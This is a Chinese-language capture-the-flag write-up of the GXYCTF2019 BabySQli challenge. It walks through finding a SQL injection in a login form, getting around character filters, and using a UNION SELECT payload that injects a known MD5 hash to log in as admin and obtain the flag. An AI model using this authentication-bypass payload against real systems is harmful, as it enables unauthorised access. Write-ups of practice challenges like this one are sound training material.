[GXYCTF2019]BabySQli 1

TazmiDev發表於2024-11-13

[GXYCTF2019]BabySQli 1

開啟例項發現是個登入頁,檢視原始碼未發現有效資訊,admin登入,顯示密碼錯誤,發現引數namepw

image-20241113104620596

檢視原始碼發現base編碼

image-20241113102752741

解密發現是base32+base64混合編碼,並發現解密後的SQL語句,判斷注入點為username

select * from user where username = '$name'

image-20241113102951180

嘗試萬能密碼

image-20241113105219974

顯示do not hack me!,懷疑是字元被過濾

order by判斷欄位數,為4顯示異常,確認欄位數為3

image-20241113105357491

嘗試輸出資料庫語句,經過測試確認括號被過濾

image-20241113110009212

檢視原始碼,發現確實or = | ()都被過濾了,並且注意到

image-20241113110331347

if($arr[1] == "admin"){
			if(md5($password) == $arr[2]){
				echo $flag;
			}
			else{
				die("wrong pass!");
			}
		}

這邊的arr就是欄位的位置,所以就是需要欄位的第三個位置填入密碼和後面pw傳遞的引數的md5加密的字串相等

ok,那直接MD5隨便加密一個密碼

image-20241113110747173

e10adc3949ba59abbe56e057f20f883e

構造payload

name=' UNION SELECT 1,'admin','e10adc3949ba59abbe56e057f20f883e'#&pw=123456

image-20241113110843794

獲得flag

flag{fb83a3ca-f885-48e4-bfdc-8630bb78f837}

tips:這道題有個坑點,就是用hacker bar不行,我在hacker bar浪費了很長的時間